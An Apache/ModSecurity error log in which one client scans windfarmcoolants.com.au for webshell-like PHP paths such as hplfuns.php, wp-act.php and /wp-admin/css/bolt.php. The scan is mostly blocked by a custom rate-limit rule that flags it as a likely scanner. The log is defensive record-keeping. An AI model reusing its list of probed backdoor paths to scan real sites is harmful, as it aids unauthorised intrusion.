[Sun Apr 26 01:37:43.486603 2026] [:error] [pid 3212:tid 3231] [client 158.158.52.225:29827] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aez75_g-28TY8_YLtUfALgAAARE"]
[Sun Apr 26 01:37:44.820045 2026] [:error] [pid 59897:tid 59941] [client 158.158.52.225:28645] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aez76PBrrkdzpEbmK4fCBgAAAI4"]
[Sun Apr 26 01:37:46.279369 2026] [:error] [pid 59897:tid 59937] [client 158.158.52.225:28640] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aez76vBrrkdzpEbmK4fCCgAAAIo"]
[Sun Apr 26 01:37:48.533364 2026] [:error] [pid 59898:tid 59959] [client 158.158.52.225:59402] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aez77B-4vImxb0kbdzfeqQAAAMU"]
[Sun Apr 26 01:37:49.734369 2026] [:error] [pid 59898:tid 59974] [client 158.158.52.225:37710] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aez77R-4vImxb0kbdzfeqwAAANQ"]
[Sun Apr 26 01:37:51.305723 2026] [:error] [pid 59898:tid 59969] [client 158.158.52.225:45398] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aez77x-4vImxb0kbdzfesgAAAM8"]
[Sun Apr 26 01:37:52.386463 2026] [:error] [pid 3212:tid 3220] [client 158.158.52.225:3518] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aez78Pg-28TY8_YLtUfAPgAAAQY"]
[Sun Apr 26 01:37:54.180051 2026] [:error] [pid 59898:tid 59973] [client 158.158.52.225:27513] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aez78h-4vImxb0kbdzfeuwAAANM"]
[Sun Apr 26 01:37:55.912547 2026] [:error] [pid 59898:tid 59954] [client 158.158.52.225:57831] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aez78x-4vImxb0kbdzfevwAAAMA"]
[Sun Apr 26 01:37:59.404167 2026] [:error] [pid 3212:tid 3231] [client 158.158.52.225:57801] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aez79_g-28TY8_YLtUfAVQAAARE"]
[Sun Apr 26 01:38:00.614497 2026] [:error] [pid 59896:tid 59923] [client 158.158.52.225:34496] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aez7-LLLzhtkd-OXUgBXuwAAAFc"]
[Sun Apr 26 01:38:01.594941 2026] [:error] [pid 59898:tid 59963] [client 158.158.52.225:3350] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aez7-R-4vImxb0kbdzfezwAAAMk"]
[Sun Apr 26 01:38:06.661055 2026] [:error] [pid 59898:tid 59961] [client 158.158.52.225:3338] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aez7_h-4vImxb0kbdzfe1wAAAMc"]
[Sun Apr 26 01:38:10.295437 2026] [:error] [pid 3212:tid 3223] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Sun Apr 26 01:38:10.581128 2026] [:error] [pid 3212:tid 3238] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/xa.php
[Sun Apr 26 01:38:10.875767 2026] [:error] [pid 3212:tid 3220] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Apr 26 01:38:11.184715 2026] [:error] [pid 3212:tid 3214] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/inege.php
[Sun Apr 26 01:38:11.427883 2026] [:error] [pid 3212:tid 3217] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/uuu.php
[Sun Apr 26 01:38:11.720584 2026] [:error] [pid 3212:tid 3232] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/no1.php
[Sun Apr 26 01:38:11.987069 2026] [:error] [pid 3212:tid 3234] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/w2025.php
[Sun Apr 26 01:38:12.232074 2026] [:error] [pid 3212:tid 3222] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/fvvff.php
[Sun Apr 26 01:38:12.613754 2026] [:error] [pid 3212:tid 3218] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/a2.php
[Sun Apr 26 01:38:12.945554 2026] [:error] [pid 3212:tid 3230] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sun Apr 26 01:38:13.330342 2026] [:error] [pid 3212:tid 3236] [client 158.158.52.225:29851] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sun Apr 26 01:38:13.723066 2026] [:error] [pid 3212:tid 3231] [client 158.158.52.225:29851] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aez8Bfg-28TY8_YLtUfAewAAARE"]
[Sun Apr 26 01:38:16.378346 2026] [:error] [pid 59896:tid 59903] [client 158.158.52.225:29840] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aez8CLLLzhtkd-OXUgBX6QAAAEM"]
[Sun Apr 26 01:38:17.625391 2026] [:error] [pid 59896:tid 59918] [client 158.158.52.225:3723] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aez8CbLLzhtkd-OXUgBX7QAAAFI"]
[Sun Apr 26 01:38:19.014717 2026] [:error] [pid 59898:tid 59974] [client 158.158.52.225:45430] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aez8Cx-4vImxb0kbdzfe8gAAANQ"]
[Sun Apr 26 01:38:20.063511 2026] [:error] [pid 59896:tid 59905] [client 158.158.52.225:3822] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aez8DLLLzhtkd-OXUgBYAAAAAEU"]
[Sun Apr 26 01:38:22.041810 2026] [:error] [pid 59897:tid 59943] [client 158.158.52.225:59412] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aez8DvBrrkdzpEbmK4fCLAAAAJA"]
[Sun Apr 26 01:38:23.301982 2026] [:error] [pid 59897:tid 59949] [client 158.158.52.225:29845] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aez8D_BrrkdzpEbmK4fCLQAAAJY"]
[Sun Apr 26 01:38:24.272295 2026] [:error] [pid 59898:tid 59972] [client 158.158.52.225:17794] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aez8EB-4vImxb0kbdzfe-gAAANI"]
[Sun Apr 26 01:38:24.985812 2026] [:error] [pid 59897:tid 59945] [client 158.158.52.225:29857] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aez8EPBrrkdzpEbmK4fCMQAAAJI"]
[Sun Apr 26 01:38:25.763339 2026] [:error] [pid 3212:tid 3227] [client 158.158.52.225:59416] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aez8Efg-28TY8_YLtUfAiAAAAQ0"]
[Sun Apr 26 01:38:27.262403 2026] [:error] [pid 59985:tid 59990] [client 158.158.52.225:17794] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aez8EwF_zDvEhKvyTH4AlgAAAAM"]
[Sun Apr 26 01:38:29.517161 2026] [:error] [pid 59985:tid 59997] [client 158.158.52.225:35141] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aez8FQF_zDvEhKvyTH4AmQAAAAo"]
[Sun Apr 26 01:38:30.540668 2026] [:error] [pid 59985:tid 60011] [client 158.158.52.225:61363] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aez8FgF_zDvEhKvyTH4AnwAAABg"]
[Sun Apr 26 01:38:32.669059 2026] [:error] [pid 59985:tid 59998] [client 158.158.52.225:59415] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aez8GAF_zDvEhKvyTH4ArAAAAAs"]
[Sun Apr 26 01:38:34.892340 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:46446] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aez8Gvg-28TY8_YLtUfAjwAAARc"]
[Sun Apr 26 01:38:36.304884 2026] [:error] [pid 3212:tid 3221] [client 158.158.52.225:47885] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aez8HPg-28TY8_YLtUfAkgAAAQc"]
[Sun Apr 26 01:38:37.133500 2026] [:error] [pid 59896:tid 59918] [client 158.158.52.225:27482] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aez8HbLLzhtkd-OXUgBYIAAAAFI"]
[Sun Apr 26 01:38:37.892333 2026] [:error] [pid 59898:tid 59958] [client 158.158.52.225:21566] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aez8HR-4vImxb0kbdzffDwAAAMQ"]
[Sun Apr 26 01:38:39.038921 2026] [:error] [pid 59896:tid 59910] [client 158.158.52.225:45381] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aez8H7LLzhtkd-OXUgBYKgAAAEo"]
[Sun Apr 26 01:38:39.726549 2026] [:error] [pid 59898:tid 59975] [client 158.158.52.225:61316] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aez8Hx-4vImxb0kbdzffHgAAANU"]
[Sun Apr 26 01:38:40.642585 2026] [:error] [pid 59898:tid 59966] [client 158.158.52.225:47898] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aez8IB-4vImxb0kbdzffKAAAAMw"]
[Sun Apr 26 01:38:44.334046 2026] [:error] [pid 59897:tid 59950] [client 158.158.52.225:10896] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aez8JPBrrkdzpEbmK4fCWQAAAJc"]
[Sun Apr 26 01:38:45.650565 2026] [:error] [pid 59897:tid 59931] [client 158.158.52.225:17851] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aez8JfBrrkdzpEbmK4fCYQAAAIQ"]
[Sun Apr 26 01:38:46.740079 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:29843] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aez8Jvg-28TY8_YLtUfArQAAARc"]
[Sun Apr 26 01:38:47.517177 2026] [:error] [pid 59896:tid 59912] [client 158.158.52.225:37683] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aez8J7LLzhtkd-OXUgBYMAAAAEw"]
[Sun Apr 26 01:38:49.089734 2026] [:error] [pid 59896:tid 59916] [client 158.158.52.225:61365] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aez8KbLLzhtkd-OXUgBYNwAAAFA"]
[Sun Apr 26 01:38:51.849922 2026] [:error] [pid 3212:tid 3217] [client 158.158.52.225:35160] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aez8K_g-28TY8_YLtUfAvQAAAQM"]
[Sun Apr 26 01:38:53.135712 2026] [:error] [pid 3212:tid 3220] [client 158.158.52.225:27513] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aez8Lfg-28TY8_YLtUfAwQAAAQY"]
[Sun Apr 26 01:38:54.939934 2026] [:error] [pid 3212:tid 3218] [client 158.158.52.225:3827] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aez8Lvg-28TY8_YLtUfAywAAAQQ"]
[Sun Apr 26 01:38:56.272381 2026] [:error] [pid 59898:tid 59960] [client 158.158.52.225:48467] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aez8MB-4vImxb0kbdzffQgAAAMY"]
[Sun Apr 26 01:38:57.051093 2026] [:error] [pid 3212:tid 3217] [client 158.158.52.225:21556] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aez8Mfg-28TY8_YLtUfA0QAAAQM"]
[Sun Apr 26 01:38:58.074314 2026] [:error] [pid 3212:tid 3233] [client 158.158.52.225:33290] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aez8Mvg-28TY8_YLtUfA2AAAARM"]
[Sun Apr 26 01:38:59.105419 2026] [:error] [pid 59897:tid 59948] [client 158.158.52.225:61328] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aez8M_BrrkdzpEbmK4fCdgAAAJU"]
[Sun Apr 26 01:39:01.286872 2026] [:error] [pid 3212:tid 3236] [client 158.158.52.225:48498] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aez8Nfg-28TY8_YLtUfA8QAAARY"]
[Sun Apr 26 01:39:01.950766 2026] [:error] [pid 3212:tid 3218] [client 158.158.52.225:51864] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aez8Nfg-28TY8_YLtUfA9wAAAQQ"]
[Sun Apr 26 01:39:03.256778 2026] [:error] [pid 3212:tid 3237] [client 158.158.52.225:21547] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aez8N_g-28TY8_YLtUfA_gAAARc"]
[Sun Apr 26 01:39:05.354049 2026] [:error] [pid 59898:tid 59974] [client 158.158.52.225:3821] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aez8OR-4vImxb0kbdzffTQAAANQ"]
[Sun Apr 26 01:39:08.244316 2026] [:error] [pid 59896:tid 59917] [client 158.158.52.225:47915] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aez8PLLLzhtkd-OXUgBYRAAAAFE"]
[Sun Apr 26 01:39:08.989268 2026] [:error] [pid 59897:tid 59932] [client 158.158.52.225:49673] [client 158.158.52.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aez8PPBrrkdzpEbmK4fCewAAAIU"]
